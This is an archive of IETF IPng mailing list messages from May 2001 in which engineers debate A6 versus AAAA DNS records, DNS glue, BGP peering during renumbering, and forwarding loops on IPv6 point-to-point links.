against renumber or other events, however, there are implementations that cannot do this. also it may conflict with Francis' BGP4+ RFC (but the RFC is not too clear about separation between tcp/179 endpoint address, and nexthop values - at least for me) there also are IXes that use globally-reachable IPv6 prefix, curved out from one of the adjacent ASes. for example, NSPIXP6 uses a /64 prefix from WIDE. there are people using addresses that are not reachable from outside, as i have pointed out in the following. PAIX is using a /32 got from ISI, however, the prefix used at PAIX is not reachable from outside if we filter routes based on 6bone routing guideline. not sure if it is a real problem or not. To: 6bone@ISI.EDU Subject: reachability issue with 3ffe:80a::/32 (PAIX IX segment) From: Jun-ichiro itojun Hagino Date: Wed, 17 Jan 2001 21:13:59 +0900 Message-Id: <20010117121359.41CD47E66@starfruit.itojun.org> Sender: owner-6bone@ISI.EDU itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 10:16:43 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41HGhIM001762 for ; Tue, 1 May 2001 10:16:43 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41HGgMr001761 for ipng-dist; Tue, 1 May 2001 10:16:42 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41HGTIM001754 for ; Tue, 1 May 2001 10:16:30 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA25450 for ; Tue, 1 May 2001 10:16:28 -0700 (PDT) Received: from ratree.psu.ac.th ([192.100.77.3]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA05633 for ; Tue, 1 May 2001 11:39:03 -0600 (MDT) Received: from brandenburg.cs.mu.OZ.AU (reserv150.coe.psu.ac.th [203.154.146.150]) by ratree.psu.ac.th (8.9.1/8.9.1) with ESMTP id AAA27413; Wed, 2 May 2001 00:16:24 +0700 (ICT) Received: from brandenburg.cs.mu.OZ.AU (localhost [127.0.0.1]) by brandenburg.cs.mu.OZ.AU (8.11.0/8.11.0) with ESMTP id f41HGMq05785; Wed, 2 May 2001 00:16:23 +0700 (ICT) From: Robert Elz To: Pekka Savola cc: Masataka Ohta , ipng@sunroof.eng.sun.com Subject: Re: AAAA/A6 thing In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 02 May 2001 00:16:22 +0700 Message-ID: <5783.988737382@brandenburg.cs.mu.OZ.AU> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Date: Tue, 1 May 2001 19:46:05 +0300 (EEST) From: Pekka Savola Message-ID: I know I should stay out of this discussion, but ... | In mathematics, if you want to prove something [esp. complex], you just | can't toss a 1000-page book in front of someone and say "Believe me, it's | there! It really _is_ there! Nonsense, of course you can. In fact, in Mathematics, it is more common to just name the theorems after those who proved them first, and then just say "by fred's theorem" without even providing a reference to where the thing can be found. Then there's a difference between showing a proof, and teaching that to someone. To teach adequately, you need to do more than point someone at a reference (usually). I have no idea how this side of the discussion moved to this list, this is really namedroppers material - it concerns exactly the definition of the DNS, and isn't in the slightest bit concerned with ipngwg. But just this once... | I have the impression that most people consider it either "grey" or | wrong; that was the way it was understood by the implementors at least. Ohta-san is correct. The problem is that he isn't bothering to even explain what he is claiming, not that he isn't bothering to prove it. The DNS requires glue, it requires glue wherever it is necessary. It is obviously necessary (necessary by inspection) when a domain is delegated to servers within the domain. Any other time discovering whether it is necessary or not requires more work. Some implementors (recent BIND I believe, though I'm not sure about bind9, and I know nothing at all about the other implementation mentioned here) have restricted glue to where it is obviously necessary. That's not enough, glue needs to be possible anywhere it is necessary, not only where it is obviously necessary. The aol.net delegated to aol.com, and aol.com delegated to aol.net example (as stupid as such a setup might be) is perfectly legal, and is a situation where glue is necessary. It isn't obviously necessary however. Some servers refuse to allow the glue to be loaded in a zone. Those servers are broken. Other servers (or back end resolvers) reject the glue if they receive it in an answer to a query. They're broken as well. If you want proof that the DNS requires glue - go look in 1034/5. If you can't be bothered, that isn't my, or anyone else's problem. Now can we end this absurd name calling exercise please - or if it wants to continue, take it back to namedroppers@psg.com where the DNS experts hang out. kre -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 12:17:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41JHPIM002020 for ; Tue, 1 May 2001 12:17:25 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41JHPfB002019 for ipng-dist; Tue, 1 May 2001 12:17:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41JHFIM002012 for ; Tue, 1 May 2001 12:17:15 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA16680 for ; Tue, 1 May 2001 12:17:14 -0700 (PDT) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id MAA16312 for ; Tue, 1 May 2001 12:17:10 -0700 (PDT) Received: from 157.54.7.67 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 01 May 2001 12:15:22 -0700 (Pacific Daylight Time) Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-04.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 1 May 2001 12:15:14 -0700 Received: from yuri.dns.microsoft.com ([172.30.236.11]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 1 May 2001 12:15:14 -0700 Received: from mail pickup service by yuri.dns.microsoft.com with Microsoft SMTPSVC; Tue, 1 May 2001 12:15:13 -0700 Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2905); Tue, 1 May 2001 09:23:35 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 01 May 2001 09:22:46 -0700 (Pacific Daylight Time) Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2905); Tue, 1 May 2001 09:22:21 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4698.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: Addresses and BGP (was RE: was a6/aaaa - RA/ND & exchanges) Date: Tue, 1 May 2001 09:22:20 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Addresses and BGP (was RE: was a6/aaaa - RA/ND & exchanges) Thread-Index: AcDSPwRllCW9XPp2TM+Ibk/bavWMrgAGIWXg From: "Christian Huitema" To: "Bill Manning" Cc: X-OriginalArrivalTime: 01 May 2001 16:22:21.0157 (UTC) FILETIME=[E5DA9150:01C0D25A] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f41JHFIM002013 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > BGP is bound between two IP addresses. When the IP addresses change > the BGP peering is lost. This is a valid point, which has already been discussed many times on the list, but is not discussed or even alluded to in RFC 2283. The solution in IGPs is to use link-local addresses for exchanging IGP packets; this means that the "peering" in RIP, OSPF or IS-IS will survive renumbering. This solution is not entirely applicable to BGP. However, we can probably use a combination of the following: 1) Use of link local addresses when BGP peers are directly connected. 2) Use of site-local addresses when BGP peers belong to the same site. 3) Use of mobile-IP solutions so that TCP survives renumbering. 4) Use of IPv4 addresses in multi-protocol environments. Each of these solutions is partial, and requires work, e.g. discovery that peers are on the same link, or in the same site. I would argue that this type of work is typical of the implementation phase that we are entering, and should be conducted by pragmatists (the IDR working group) rather than explorers (IPNG). -- Christian Huitema -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 12:25:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41JPQIM002154 for ; Tue, 1 May 2001 12:25:26 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41JPPOT002153 for ipng-dist; Tue, 1 May 2001 12:25:25 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41JPFIM002146 for ; Tue, 1 May 2001 12:25:16 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA13687 for ; Tue, 1 May 2001 12:25:14 -0700 (PDT) Received: from mail4.microsoft.com (mail4.microsoft.com [131.107.3.122]) by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id MAA19892 for ; Tue, 1 May 2001 12:25:11 -0700 (PDT) Received: from 157.54.9.104 by mail4.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 01 May 2001 12:22:43 -0700 (Pacific Daylight Time) Received: from red-imc-01.redmond.corp.microsoft.com ([157.54.9.102]) by inet-imc-02.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 1 May 2001 12:22:20 -0700 Received: from yuri.dns.microsoft.com ([172.30.236.11]) by red-imc-01.redmond.corp.microsoft.com with Microsoft SMTPSVC(5.0.2195.2883); Tue, 1 May 2001 12:22:20 -0700 Received: from mail pickup service by yuri.dns.microsoft.com with Microsoft SMTPSVC; Tue, 1 May 2001 12:22:19 -0700 Received: from df-virus2.platinum.corp.microsoft.com ([172.30.236.33]) by df-inet1.exchange.microsoft.com with Microsoft SMTPSVC(5.0.2195.2905); Tue, 1 May 2001 10:33:13 -0700 Received: from 172.30.236.11 by df-virus2.platinum.corp.microsoft.com (InterScan E-Mail VirusWall NT); Tue, 01 May 2001 10:32:23 -0700 (Pacific Daylight Time) Received: from speak.platinum.corp.microsoft.com ([172.30.236.197]) by yuri.dns.microsoft.com with Microsoft SMTPSVC(5.0.2195.2905); Tue, 1 May 2001 10:32:16 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.4698.0 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Subject: RE: AAAA/A6 thing Date: Tue, 1 May 2001 10:25:18 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: AAAA/A6 thing Thread-Index: AcDSILyekj59XncuSba9HCFRWf8fBgAP5peA From: "Christian Huitema" To: , "Robert Elz" Cc: , X-OriginalArrivalTime: 01 May 2001 17:32:16.0505 (UTC) FILETIME=[AA79DE90:01C0D264] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id f41JPGIM002147 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > this part i don't really understand. if we advocate "A6 0 <128bit>" > there will be resolver implementation that does not chase A6 chains > at all (like for cellphones or whatever). if there's no need, > there'll be no code. then, there will be no possibility for "A6 > ". so I don't really see > benefit > of "A6 0 <128bit>" than "AAAA". I think we have to delineate the various motivation and arguments: we want A6 to facilitate site renumbering and site multi-homing, while reducing the rate of DNS update; we also want to avoid harmful effects on the DNS resolution. The motivation for A6 is still valid; no new argument there, I believe it will be a great tool for network managers. There have been two questions on its use, the linkage with the address allocation and the depth of the hierarchy. The short answer to address allocation is router advertisement; the short answer to the depth of the hierarchy is that a depth of 1 is probably adequate to show significant benefits. The motivation for using "A6 0 <128bit>" is the use of A6 during the name resolution process, especially at the top level. We don't want root servers spending their time chasing A6 chains, and we also don't want the extra-load on root servers that could be caused by clients chasing A6 chains. This means that the address records of name servers will have to be explicitly updated when a site is renumbered. I believe that this is a reasonable compromise; without A6 one would have to update all the records; with the initial design we aimed at updating exactly one record per site; with the compromise one would update a few records only. We definitely need to gather operational experience. For example, an assumption in the design of A6 is that the higher level of the hierarchy will be very likely to be cached; whether this is true or false is easy to measure after a modicum of deployment. Another assumption is that the nodes can automatically update their addresses, and that the update process can be synchronized with the DNS updates; this can indeed also be tested. And, once we are done testing, we should document the results. Note that RFC 2874 packs together the use of A6 for name to IPv6 address resolution, and the use of binary labels and DNAME for the IPv6 address to name translation. When we conduct the evaluation, it may be useful to separate the three points: A6, discussed above, DNAME, which has its own set of benefits and issues, and binary labels, which is clearly an extension to the core DNS name resolution mechanism. -- Christian Huitema -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 12:55:45 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41JtiIM002342 for ; Tue, 1 May 2001 12:55:44 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41Jti3U002341 for ipng-dist; Tue, 1 May 2001 12:55:44 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41JtYIM002334 for ; Tue, 1 May 2001 12:55:35 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id MAA19308 for ; Tue, 1 May 2001 12:55:32 -0700 (PDT) Received: from shell.nominum.com (shell.nominum.com [204.152.187.59]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id OAA05273 for ; Tue, 1 May 2001 14:17:44 -0600 (MDT) Received: from drc-toshiba.nominum.com (shell.nominum.com [204.152.187.59]) by shell.nominum.com (Postfix) with ESMTP id 7F14A3190D; Tue, 1 May 2001 12:54:47 -0700 (PDT) Message-Id: <5.0.2.1.2.20010501123405.02178b30@localhost> X-Sender: drc@localhost X-Mailer: QUALCOMM Windows Eudora Version 5.0.2 Date: Tue, 01 May 2001 12:54:54 -0700 To: Jim Bound From: "David R. Conrad" Subject: Re: AAAA/A6 thing Cc: itojun@iijlab.net, Paul A Vixie , ipng@sunroof.eng.sun.com In-Reply-To: References: <5.0.2.1.2.20010430195415.0314f788@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jim, At 08:30 AM 5/1/2001 -0400, Jim Bound wrote: >If your arguing IPv4 is OK and all is well. Hmmm. No, and I'm not sure how you'd come to this conclusion from what I said. I'm arguing that renumbering is "Very Important" and is one area in which IPv6 could conceivably provide a reasonable justification for the pain of undertaking the transition. More address space ain't gonna do it if the ISPs of the world say "I can't route your prefix, renumber into mine" as they MUST if we expect IPv6 to scale beyond what IPv4 scales to. > > This is worrisome. By and large, I believe the main reason people are > > unhappy with the current situation with IPv4 is end user sites are > normally > > rejected for address allocations of provider independent address space, > > forcing those sites to be dependent on their service provider for address > > space. The reason for rejection is typically _not_ a lack of address > > space, but rather the RIRs have been put into the position of trying to > > limit the number of provider independent prefixes which enter the routing > > system. >Same thing. THe RIRs are trying to manage a scare commodity. No. The statement Itojun made was that larger address space was the primary justification for IPv6. Larger address space CONTRIBUTES to the problem that the RIRs are trying to help manage, namely the proliferation of globally routable prefixes. IPv6, as it is currently defined, does NOT address the _REAL_ problem, namely routable prefix growth. It threatens to exacerbate the problem greatly as the swamp of end-user globally routed IPv6 address is so much larger. Having workable renumbering would help greatly in reducing routable prefix growth. Whereas A6 supports renumbering, it is a good thing and experiments should be undertaken to determine if it actually helps (and just how it can be made to help). >What exactly in technical terms have you heard is wrong with IPv6 >addresses and routing? Nothing that isn't wrong with IPv4, and that's sort of the point. Renumbering is hard and multi-homing implies de-aggregation. IPv6 routing and addressing as it is currently defined does nothing to solve these problems as far as I can tell. Rgds, -drc -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 13:04:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41K45IM002367 for ; Tue, 1 May 2001 13:04:05 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41K454J002366 for ipng-dist; Tue, 1 May 2001 13:04:05 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41K3rIM002359 for ; Tue, 1 May 2001 13:03:53 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA07859 for ; Tue, 1 May 2001 13:03:51 -0700 (PDT) Received: from chiark.greenend.org.uk (chiark.greenend.org.uk [195.224.76.132]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA23410 for ; Tue, 1 May 2001 13:03:50 -0700 (PDT) Received: from (davenant.greenend.org.uk) [172.31.80.6] by chiark.greenend.org.uk with esmtp (Exim 3.12 #2) id 14ugNB-0001id-00 (Debian); Tue, 01 May 2001 21:03:49 +0100 Received: from ian by davenant.greenend.org.uk with local (Exim 3.12 #2) id 14ugNA-0003WS-00 (Debian); Tue, 01 May 2001 21:03:48 +0100 From: Ian Jackson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15087.5796.511511.914135@davenant.relativity.greenend.org.uk> Date: Tue, 1 May 2001 21:03:48 +0100 (BST) To: , Subject: RE: AAAA/A6 thing Newsgroups: chiark.mail.ietf.ipng In-Reply-To: References: X-Mailer: VM 6.75 under Emacs 19.34.1 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Christian Huitema writes ("RE: AAAA/A6 thing "): > The motivation for A6 is still valid; no new argument there, What motivation for A6 ? Where can I read what the motivations were of the authors of 2874 ? As far as I can tell it was just cooked up in a back room somewhere under the influence of mind-altering substances. Now it may have been properly discussed somewhere in some IETF WG, and it may even have been designed (though clearly not by anyone who understands the DNS). However I have asked several times for someone to point me at these discussions, and I have had no concrete reference. > I believe it will be a great tool for network managers. Please explain. > We definitely need to gather operational experience. No, we do not need to gather operational experience to see that anything useful that can be done with A6 (ie client-side indirection for the prefix) can be done with AAAA just as well if not better - all you need is a half-decent tool to help you construct zone files, which anyone serious has anyway. We have a serious complexity problem with many IETF and related protocols at the moment. There should not be features in any standards track protocol than cannot be clearly and cogently justified. The burden of proof is on A6 proponents to explain how doing the prefix lookup in the client at resolution time, rather than at the server side at data generation or load time, is a benefit. This burden has not even come close to being satisfied as far as I can see; perhaps it was in the past (though I doubt it), but if so no-one seems able to point us at the relevant messages. > Note that RFC 2874 packs together the use of A6 for name to IPv6 address > resolution, and the use of binary labels and DNAME for the IPv6 address > to name translation. When we conduct the evaluation, it may be useful to > separate the three points: A6, discussed above, DNAME, which has its own > set of benefits and issues, and binary labels, which is clearly an > extension to the core DNS name resolution mechanism. DNAME and bitstring are awful too, and should be abolished as well. But at the moment we seem to be arguing about A6. Ian. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 13:43:55 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41KhsIM002448 for ; Tue, 1 May 2001 13:43:54 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41KhsCd002447 for ipng-dist; Tue, 1 May 2001 13:43:54 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41KhiIM002440 for ; Tue, 1 May 2001 13:43:44 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id NAA05975 for ; Tue, 1 May 2001 13:43:43 -0700 (PDT) Received: from orange.kame.net (orange.kame.net [203.178.141.194]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id NAA25819 for ; Tue, 1 May 2001 13:43:39 -0700 (PDT) Received: from localhost (orange.kame.net [203.178.141.194]) by orange.kame.net (8.9.3+3.2W/3.7W) with ESMTP id FAA64317; Wed, 2 May 2001 05:43:32 +0900 (JST) Date: Wed, 02 May 2001 05:42:39 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: Thomas Narten Cc: itojun@iijlab.net, ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-Reply-To: <200105011103.f41B3H903190@hygro.adsl.duke.edu> User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. References: <200105011103.f41B3H903190@hygro.adsl.duke.edu> MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 30 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 01 May 2001 07:03:17 -0400, >>>>> Thomas Narten said: >> KAME code has a special code (disabled by default) for this case, like >> - suppose I am a router. if the packet comes in from interface Ix, >> and goes out again to Ix, and interface Ix is a p2p link, I do not >> forward the packet. instead, I'd emit ICMPv6 no route to >> host. > Won't this result in ICMP no route messages also being generated for > packets being forwarded back out the same link via the routing header? > I.e., perfecly legal packets that don't cause problems get dropped? As for the KAME's implementation, no. Actually, the "special code" is a special case of sending redirect messages, and the entire part follows the first paragraph of RFC 2461, Section 8.2: 8.2. Router Specification A router SHOULD send a redirect message, subject to rate limiting, whenever it forwards a packet that is not explicitly addressed to itself (i.e. a packet that is not source routed through the router) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ in which: ... JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 15:27:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41MRGIM002626 for ; Tue, 1 May 2001 15:27:16 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41MRFWE002625 for ipng-dist; Tue, 1 May 2001 15:27:15 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41MR6IM002618 for ; Tue, 1 May 2001 15:27:06 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA11791 for ; Tue, 1 May 2001 15:27:06 -0700 (PDT) Received: from orange.kame.net (orange.kame.net [203.178.141.194]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id PAA01644 for ; Tue, 1 May 2001 15:27:05 -0700 (PDT) Received: from localhost (orange.kame.net [203.178.141.194]) by orange.kame.net (8.9.3+3.2W/3.7W) with ESMTP id HAA65771 for ; Wed, 2 May 2001 07:27:03 +0900 (JST) Date: Wed, 02 May 2001 07:26:09 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link In-Reply-To: <4030.988712717@brandenburg.cs.mu.OZ.AU> References: <28437.988711565@itojun.org> <4030.988712717@brandenburg.cs.mu.OZ.AU> User-Agent: Wanderlust/2.5.8 (Smooth) Emacs/21.0 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 69 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Tue, 01 May 2001 17:25:17 +0700, >>>>> Robert Elz said: > | to throw out ripng packets to the other end, we would need to have > | fe80::%interface/64 as well as ff02::%interface/64 to be installed > | onto the routing table. > "Need to have fe80::%interface/64" ?? Why? (Although here seems to be a mixture of an implementation issue and a protocol issue,) you're right, we do not need fe80::%p2plink/64 to send multicast RIPng packets on the p2p link (I intentionally changed the scope ID part from "interface" to "p2plink"). [As for the implementation, we do not even need ff02::%p2plink/64 to send the packets, since our routing daemons usually specify the outgoing *interface* using the advanced API...but this is a completely different issue.] In my understanding, our (KAME's) motivation is as follows: 1. we'd like to allow users to configure a /64 prefix even on a p2p link (the prefix might be link-local, site-local, or global. That doesn't really matter in this discussion.) 2. we'd also like to allow users to use the /64 prefix on the p2p link just like an ethernet (i.e. broadcast) link. That is, when P/64 is assigned to the link, users can assume there might be a node P:A on the other end of the link for an arbitrary interface ID 'A', which might be learned from DNS, off-line communication, some other discovery mechanism, or even some misconfiguration or attacks. 3. the only difference between broadcast links and p2p links is that we do not need the (link-layer) address resolution procedure on a p2p link. Thus, when a user specifies a P:A as destination, the kernel can simply send a packet to an interface of the link, and the interface is uniquely determined in typical configurations (i.e. the only interface that attaches to the link). 4. however, this "optimization" of sending rule would raise the possibility that the other node receives a pakcet destined to an address that the node does not have (but that covers the prefix which should be regarded as on-link on the p2p link). In this case, the packet would be looped on the link, consuming its hop-limit. 5. in fact, we've seen many such loops in our IPv6 backbone (as itojun described,) and wondered if we could add another kind of optimization for the forwarding rule. As someone on the list pointed out, we could do NS-NA exchange on the step 3 instead of just sending the packet. However, we did not like this approach because it could drop some packets during the "resolution" period, or at least could delay the arrival of the packet, while such drops and delay should not really be necessary. My opinion is that this type of forwarding optimization (i.e. dropping the packet and sending an icmp6 error instead of letting the packet be looped) is worth considering, although it might not always be the best choice (e.g. when someone wants to send a packet assuming that it should be looped back for testing purposes). So, how about specifing this as a "SHOULD be enabled by default, but MUST be able to be configurable" stuff? (And the default behavior might be controversial.) JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com 